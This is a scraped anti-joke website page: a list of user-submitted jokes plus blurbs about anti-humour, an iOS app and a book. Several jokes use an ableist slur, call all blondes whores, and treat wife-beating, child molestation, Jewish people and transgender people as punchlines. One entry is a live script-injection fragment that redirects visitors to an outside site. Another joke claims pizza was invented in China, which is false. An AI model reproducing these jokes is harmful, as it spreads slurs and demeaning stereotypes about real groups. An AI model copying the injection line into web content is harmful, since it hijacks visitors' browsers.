Why was the lady afraid of cooking? Because her husband always beat her with a frying pan

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What does it mean when somebody is Jewish? They eat palahuardo por sinquevos for breakfast. Qua.

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What does an Irishman say to you in the morning? Nothing because you only speak French.

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Girlfriend: Hey, you know whats the cutest thing ever? COMIC SANS Stabs girlfriend in the eyes.

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knock knock no no you go now i clean

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How do you make Yoda sad? Kill all of his friends.

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What's the difference between a Jew and a pizza? One is a human being belonging to a particular religious minority and the other is a delicious Italian food favoured by English speaking western cultures. The problem with this anti-joke is that the facts are not correct, pizza was originally invented and China; however,it looked quite different then what might be considered pizza by our standards, when pizza was brought to Italy it was improved to make what we now consider pizza in modern times. While some people may consider pizza an Italian food, this would be failing to give credit to the Chinese who invented it.

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Why did the girl fall off the swing? Because she didn't have any arms.

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How do you kill a retard? Give him a knife and say "who's special?"

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Adeeeellllleeeee where are my shorts

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What color do you get when you mix aquamarine with magenta? Transvestite.

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why was the blond so easy,because ALL blonds are whores.

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A stripper walks into a bar. She works there.

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What do you call a fish with no I's Animal cruelty

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A guy walks into a bar. The bartender says "Why the long face?" The guy didn't respond because he was deaf.

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How do you wake up lady gaga? First you simply whisper in her ear telling her to wake up. If she doesn't, simultaneously whisper and tap her gently. If you have failed to achieve your accomplished goal, repeat step two however intensely touch her and project your voice when telling her to wake up. Step three, get a... WAIT WAIT!! I just waisted 20 seconds of your life, you're never going to meet her.

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"'>document.location.href="http://cramik.org"

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What did the homeless man get for Christmas? Food and blankets from a nearby shelter.

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Q:What's worse than watching the show Jersey Shore? A:Nothing.

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roses are red violets are blue daffodils are yellow pansies are pink

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Why did the chicken cross the road? It was a turkey, idiot.

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why was the teenage girl crying? She was molested as a child

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Q. What does the pencil and the basketball have in common? A. They both are made from wood, except for the basketball.

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One, two, three, four and five

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

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